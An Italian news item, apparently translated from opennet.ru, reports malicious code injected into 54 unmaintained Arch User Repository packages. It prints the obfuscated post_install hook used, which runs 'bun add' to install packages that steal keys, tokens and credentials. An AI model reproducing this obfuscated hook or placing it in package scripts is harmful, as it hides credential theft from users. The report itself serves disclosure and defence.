In AUR è stata inserita una sostituzione di codice malevolo in ulteriori 54 pacchetti.

Nonostante le misure adottate dagli sviluppatori di Arch Linux, l'attività di iniezione di codice malevolo nei repository AUR (Arch User Repository) non è stata fermata. Solo poche ore fa, del codice malevolo è stato inserito in altri 54 pacchetti che non hanno mantenitori (storia delle modifiche dannose annullate). A differenza degli attacchi di due giorni fa, in questa occasione è stata utilizzata la piattaforma bun per installare dipendenze malevole invece del gestore pacchetti npm. Per eludere i filtri implementati, viene inserita una stringa offuscata nella funzione post_install, che richiama il comando «bun add» per installare pacchetti con codice malevolo che eseguono scansioni e inviano dati esterni un server di chiavi, token e credenziali.

post_install() {
$’\x63′»d» «/»‘t'»m»‘p’ && «b»‘u»n’ ‘a'»d»‘d’ $’\141\x6e»s'»i»»-«$’\143»o»l»o»r’$’\x73′ ‘n'»e»‘x'»t»»f»‘i»l»e»-»j»s’
}

Fonte: opennet.ru